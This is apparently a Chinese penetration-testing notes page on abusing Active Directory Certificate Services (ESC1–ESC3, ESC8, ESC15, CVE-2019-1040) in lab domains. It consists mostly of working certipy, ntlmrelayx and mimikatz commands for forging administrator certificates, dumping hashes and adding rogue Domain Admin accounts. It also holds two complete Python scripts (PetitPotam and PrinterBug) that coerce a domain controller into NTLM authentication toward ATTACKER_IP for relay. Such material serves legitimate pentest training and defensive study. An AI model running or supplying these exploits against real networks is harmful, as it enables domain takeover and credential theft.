内网渗透技战法-ADCS
ADCS攻击
https://www.cnblogs.com/zpchcbd/p/17608068.html
https://xz.aliyun.com/news/11073
https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-24
ADCS可为域用户和机器账户申请证书。
PKINIT为Kerberos的扩展协议,可通过X.509证书用来获取Kerberos票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)
PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)
证书吊销列表(CRL)是在实际或指定的到期日期之前已被颁发证书颁发机构(CA)吊销的数字证书的列表;它是一种阻止列表,其中包含不应再受信任的证书,并由各种端点(包括Web浏览器)使用来验证证书是否有效且值得信赖,并且CRL文件由CA签名以防止篡改。
环境搭建
https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-22
验证域内用户能否查到证书
certutil -config - -ping
& certutil.exe
信息枚举
域内:
在安装证书服务的机器上
获得ca名称
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active
更多细节信息
$CAName = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active; Get-Itemproperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$CAName"
测试联通性
确认NTLM协议(后面中继要用)
curl http://172.16.58.209/certsrv -I
域外
已经获得了一个域账号,查看是否有ADCS服务:
certipy find -u zhangsan@xiaorang.lab -p test@123456 -dc-ip 172.16.58.205 -dc-only -stdout
ESC1(EKU 客户端身份验证)
ESC1利用前提条件
- msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户 - PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证 - Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
复制一个模板,重命名为ESCCC1
设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
模板定义了启用认证(客户端身份验证)的EKU:
设置权限允许普通用户注册(Authenticated Users or Domain Users):
之后颁发模板ESCCC1
漏洞利用
查找漏洞
如果报错需要加上 -scheme ldap
certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -debug -stdout
certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -scheme ldap -debug -stdout
针对ESC1模版ECS1请求证书
certipy req -u test@xiaorang.lab -p Mzc@123456 -dc-ip 172.16.58.205 -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1 -upn administrator@xiaorang.lab
//UPN(用户主体名)user@domain.com(常见于内网证书)
利用pfx可以直接拿到域管的hash
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab
如果是机器用户就用hash
certipy req -u WIN7@xiaorang.lab -hashes :a8b93c18dada22dcd0a2a54687882c65 -dc-ip 172.16.58.205 -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1 -upn administrator@xiaorang.lab
hash用mimikatz抓
# 在目标机器上用mimikatz
sekurlsa::logonpasswords
# 或
lsadump::lsa /patch
fpx进行kerberos认证碰到KDC_ERROR_CLIENT_NOT_TRUSTED的问题
# 获取NT hash(不依赖Kerberos PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -ldap-shell
直接可以新建一个域管理员账号
# add_user xiaoyuer
# add_user_to_group xiaoyuer "Domain Admins"
解决方式
复制Kerberos身份验证模板,命名为LDAPS,选择允许导出私钥
去域控win+r输入mmc添加证书 管理单元
申请新证书,选择刚发布的LDAPS证书、
ESC2(定义无EKU)
ESC2利用前提条件
设置权限允许普通用户注册(Authenticated Users or Domain Users)
应用程序策略EKU为无
漏洞利用
查找漏洞
certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -scheme ldap -debug -stdout
纯ESC2自证书直接认证,这样是不能提权的,必须搭配其他漏洞比如ESC3来提权
certipy req -u 'test@xiaorang.lab' -p 'T@123456' -ca 'xiaorang-ADCS-CA' -target '172.16.58.209' -dc-ip 172.16.58.205 -template 'ESCCC2' -upn 'test@xiaorang.lab' -out 'test-esc2'
certipy auth -pfx 'F:\Document\Desktop\test-esc2.pfx' -username 'test' -domain 'xiaorang.lab' -dc-ip 172.16.58.205 -ldap-shell
搭配ESC3,Any Purpose / No EKU 的证书在利用上也可以充当 Enrollment Agent
以ESC2为模板申请证书
certipy req -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -ca "xiaorang-ADCS-CA" -template ESCCC2 -target 172.16.58.209
若出现CRYPT_E_REVOCATION_OFFLINE报错,可以hosts里手动添加域控ip或者-ns 172.16.58.209指定ip
使用test.pfx证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式
代理申请(on-behalf-of)
certipy req -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -ca "xiaorang-ADCS-CA" -template User -on-behalf-of 'xiaorang\Administrator' -pfx test.pfx -target 172.16.58.209 -debug
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab
kali也可以打
报错未配置KDC
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab -ldap-shell
# add_user xiaoyuer
# add_user_to_group xiaoyuer "Domain Admins"
ESC3(EKU 证书申请代理Certificate Request Agent)
利用前提条件
漏洞利用
certipy req -u test@xiaorang.lab -p T@123456 -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1
certipy req -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -ca "xiaorang-ADCS-CA" -target 172.16.58.209 -template User -on-behalf-of 'xiaorang\administrator' -pfx test.pfx -debug
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab
//重启证书服务
net stop certsvc
net start certsvc
区分ESC1、ESC2、ESC3
- ESC1 的 Enrollee Supplies Subject 去指定别人的 UPN
- ESC3 的 Certificate Request Agent 去代别人申请
- ESC2是自证书直接认证
ESC8(adcs relay)
https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-26
https://t0ngmystic.com/sec/ad域-adcs错误配置-esc8/
https://www.cnblogs.com/marksec/p/15600759.html
漏洞利用原因: 由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务。
攻击流程
1.通过ntlm_relay,我们获得一个以机器A用户认证的证书
2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证
3.我们获取到TGT并请求目标机器的TGS,获取权限
利用前提条件
ADCS开启Web证书注册服务
curl http://172.16.58.209/certsrv/ -I
漏洞利用
https://www.cnblogs.com/zpchcbd/p/15857942.html
1.查看CA机器:
certutil -config - -ping
或者
certutil -ca
2.开启ntlmrelayx 监听:
需要将impacket回退到v0.9.24.dev1
certipy-ad relay \
-target 172.16.58.209 \
-ca 'xiaorang-ADCS-CA' \
-template 'DomainController' \
-interface 172.16.58.202
python3 ntlmrelayx.py -t http://172.16.58.209/certsrv/certfnsh.asp -smb2support --adcs
python3 ntlmrelayx.py -t http://192.168.3.73/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
解决将impacket回退到v0.9.24.dev1
3.触发回连
域内
ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab
域外
使用脚本触发辅助域控回连我们的攻击机器,这里可以使用最新的Petitpotam.py,也可以使用printerbug.py
1.PetitPotam
python3 PetitPotam.py Relayip DCip
python3 PetitPotam.py 172.16.58.209 172.16.58.205
python3 dfscoerce.py -u test -d xiaorang.lab 192.168.75.158 192.168.75.202
脚本如下:
#!/usr/bin/env python3
# petitpotam_trigger.py
# 强制 DC01 向攻击机 172.16.58.203 发起 NTLM 认证
# 依赖: impacket (pip install impacket)
import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
# ===== 配置 =====
DC_IP = '172.16.58.205'
ATTACKER_IP = '172.16.58.202' #kali的ip
USERNAME = 'test'
PASSWORD = 'T@123456'
DOMAIN = 'xiaorang.lab'
PIPE = 'lsarpc' # 可选: lsarpc / samr / netlogon
# ================
class DCERPCSessionError(DCERPCException):
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
return 'EFSR SessionError: code: 0x%x - %s - %s' % (
self.error_code,
system_errors.ERROR_MESSAGES[key][0],
system_errors.ERROR_MESSAGES[key][1]
)
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (('Data', '20s'),)
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (('FileName', WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (('ErrorCode', ULONG),)
BINDING_PARAMS = {
'lsarpc': {'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % DC_IP,
'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
'samr': {'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % DC_IP,
'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
'netlogon': {'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % DC_IP,
'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
}
def connect(pipe):
params = BINDING_PARAMS[pipe]
rpctransport = transport.DCERPCTransportFactory(params['stringBinding'])
rpctransport.set_credentials(USERNAME, PASSWORD, DOMAIN, '', '')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(uuidtup_to_bin(params['uuid']))
return dce
def trigger(dce, listener):
# 尝试 EfsRpcOpenFileRaw
try:
req = EfsRpcOpenFileRaw()
req['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
req['Flag'] = 0
dce.request(req)
except Exception as e:
if 'ERROR_BAD_NETPATH' in str(e):
print('[+] Got ERROR_BAD_NETPATH — coerce succeeded!')
return True
if 'rpc_s_access_denied' in str(e):
print('[!] EfsRpcOpenFileRaw denied, trying EfsRpcEncryptFileSrv...')
try:
req2 = EfsRpcEncryptFileSrv()
req2['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
dce.request(req2)
except Exception as e2:
if 'ERROR_BAD_NETPATH' in str(e2):
print('[+] EfsRpcEncryptFileSrv coerce succeeded!')
return True
print(f'[-] Failed: {e}')
return False
if __name__ == '__main__':
print(f'[*] Connecting to DC01 ({DC_IP}) via pipe \\{PIPE}')
for pipe in ['lsarpc', 'samr', 'netlogon']:
try:
dce = connect(pipe)
print(f'[+] Connected via {pipe}')
result = trigger(dce, ATTACKER_IP)
if result:
print(f'[+] Coerce triggered via {pipe}! Check relay log.')
break
except Exception as e:
print(f'[-] {pipe}: {e}')
2.printerbug(需要应该域内的用户账户)
python3 printerbug.py 172.16.58.205 172.16.58.209
脚本如下:
#!/usr/bin/env python3
# printerbug_trigger.py
# 利用 MS-RPRN PrinterBug 强制目标 DC 向攻击机发起 NTLM 认证
#
# 前置条件:
# 1. 攻击机必须监听 135 端口(RPC Endpoint Mapper)
# 2. 攻击机必须监听 445 端口(certipy relay 或 responder)
#
# 用法:
# python3 printerbug_trigger.py
#
# 依赖: impacket (pip install impacket)
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.dtypes import NULL
# ===== 配置 =====
DC_IP = '172.16.58.205'
DC_HOSTNAME = 'DC01.xiaorang.lab'
ATTACKER_IP = '172.16.58.202'
USERNAME = 'test'
PASSWORD = 'T@123456'
DOMAIN = 'xiaorang.lab'
# ================
def trigger_printerbug(dc_ip, dc_hostname, username, password, domain, attacker_ip):
print(f'[*] Connecting to {dc_hostname} ({dc_ip}) via \\pipe\\spoolss')
# 连接 DC 的 spoolss named pipe
rpctransport = transport.DCERPCTransportFactory(
r'ncacn_np:%s[\pipe\spoolss]' % dc_ip
)
rpctransport.set_credentials(username, password, domain, '', '')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
print(f'[+] Bound to MS-RPRN')
# 打开打印机句柄
# 注意: 必须用主机名格式 \\DC01.xiaorang.lab\,不能用 IP
printer_name = '\\\\%s\x00' % dc_hostname
print(f'[*] Opening printer: {printer_name.strip(chr(0))}')
resp = rprn.hRpcOpenPrinter(dce, printer_name)
handle = resp['pHandle']
print(f'[+] Got printer handle')
# 触发回调
# pszLocalMachine 设置为攻击机 IP,DC 的 Spooler 会向此地址发起 NTLM 认证
# DC 回调前会先连攻击机 135 协商 RPC 端口,所以攻击机必须监听 135
print(f'[*] Sending RpcRemoteFindFirstPrinterChangeNotificationEx')
print(f'[*] DC will callback to: \\\\{attacker_ip}')
try:
rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
dce,
handle,
rprn.PRINTER_CHANGE_ADD_JOB,
pszLocalMachine='\\\\%s\x00' % attacker_ip,
fdwOptions=0
)
print('[+] PrinterBug triggered successfully!')
except Exception as e:
err = str(e)
# RPC_S_SERVER_UNAVAILABLE (0x6ba) 是正常现象
# DC 完成回调后关闭连接时返回此错误,不影响攻击效果
if '0x6ba' in err or 'SERVER_UNAVAILABLE' in err:
print(f'[+] Got RPC_S_SERVER_UNAVAILABLE — this is expected!')
print(f'[+] DC01 has completed the callback, check relay log.')
elif '0x5' in err or 'access_denied' in err:
print(f'[-] Access denied — user lacks permission for this RPC call')
print(f'[-] Try using a higher-privileged account or switch to PetitPotam')
elif '0x709' in err or 'INVALID_PRINTER_NAME' in err:
print(f'[-] Invalid printer name — use hostname format not IP')
else:
print(f'[-] Unexpected error: {e}')
# 关闭句柄
try:
rprn.hRpcClosePrinter(dce, handle)
except Exception:
pass
if __name__ == '__main__':
trigger_printerbug(
DC_IP, DC_HOSTNAME,
USERNAME, PASSWORD, DOMAIN,
ATTACKER_IP
)
之后利用pfx可以直接拿到域管的hash
certipy auth -pfx dc01.pfx -dc-ip 172.16.58.205
CVE-2019-1040
在有辅助域的内网中,利用NTLM中继加RBCD基于资源的约束委派
新建机器用户
python3 addcomputer.py -method LDAPS -computer-name 'evilpc$' -computer-pass 'Password123' 'XIAORANG/test:T@123456'
ntlmrelayx.py -t ldap://域控ip -smb2support --remove-mic --delegate-access --escalate-user evilpc$ -debug
python3 PetitPotam.py 172.16.58.201 172.16.58.205
python3 PetitPotam.py -u test -p 'T@123456' -d xiaorang.lab 中继机器ip 辅助域控DC02的ip
python3 getST.py -dc-ip 192.168.4.11 xiaorang/evilpc$:123456 -spn cifs/DC02 -impersonate administrator
ESC15
certipy-ad find -dc-ip 10.10.11.72 -ns 10.10.11.72 -target dc01.tombwatcher.htb -u john -p 'Password@123' -vulnerable -stdout
模板权限中出现未知SID(S-1-5-21-1392491010-1358638721-2126982587-1111),推测为被删除的ADCS管理员账户。
枚举被删除对象,确认cert_admin的ObjectGUID:
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent
恢复cert_admin账户并修改密码:
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf # ObjectGUID对应值
Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force)
恢复后获取cert_admin凭据:用户:cert_admin,密码:Password@123
ESC15漏洞利用:注入应用程序策略生成高权限证书
利用certipy-ad req工具,以cert_admin身份向WebServer模板(Schema V1)申请证书,并注入“Certificate Request Agent”应用程序策略——该策略允许证书代表其他用户申请新证书:
certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
执行后生成administrator.pfx文件(包含证书与私钥 ),重命名为cert_admin.pfx备用。
生成域管理员证书与TGT
基于注入策略的证书,进一步申请User模板证书(常规用户登录模板),并指定“代表域管理员(administrator)申请”:
certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
生成新的administrator.pfx文件,使用certipy-ad auth工具通过该证书获取域管理员的TGT(票据授予票据)与NTLM哈希:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72
工具输出域管理员administrator的NTLM哈希(如aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc)

浙公网安备 33010602011771号